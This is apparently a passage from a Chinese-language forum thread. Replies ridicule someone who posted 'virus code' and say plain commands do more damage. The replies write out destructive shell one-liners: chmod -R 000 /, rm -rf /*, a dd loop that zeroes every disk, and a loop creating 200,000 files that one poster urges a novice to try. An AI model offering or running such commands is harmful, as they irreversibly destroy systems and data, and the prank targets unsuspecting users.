    楼主,你这是找 block 是吧?
    去学下贴代码吧~
    病毒只是程序的一种,这里很多人都会写!

    明显没有如下命令好使:
    chmod -R 000 /

    rm -rf /*

    for i in /dev/sd*; do dd if=/dev/zero of=$i & ; done

    乳猪试一下这段代码如何。
    $ for((i=1;i<=200000;i++));do dd if=/dev/zero of=file_$i bs=1 count=1;done

    我猜楼上的意思是说,贴这么大段的所谓病毒代码,其实还不如来个命令直接。那是否意味着这个命令也是一个病毒呢?
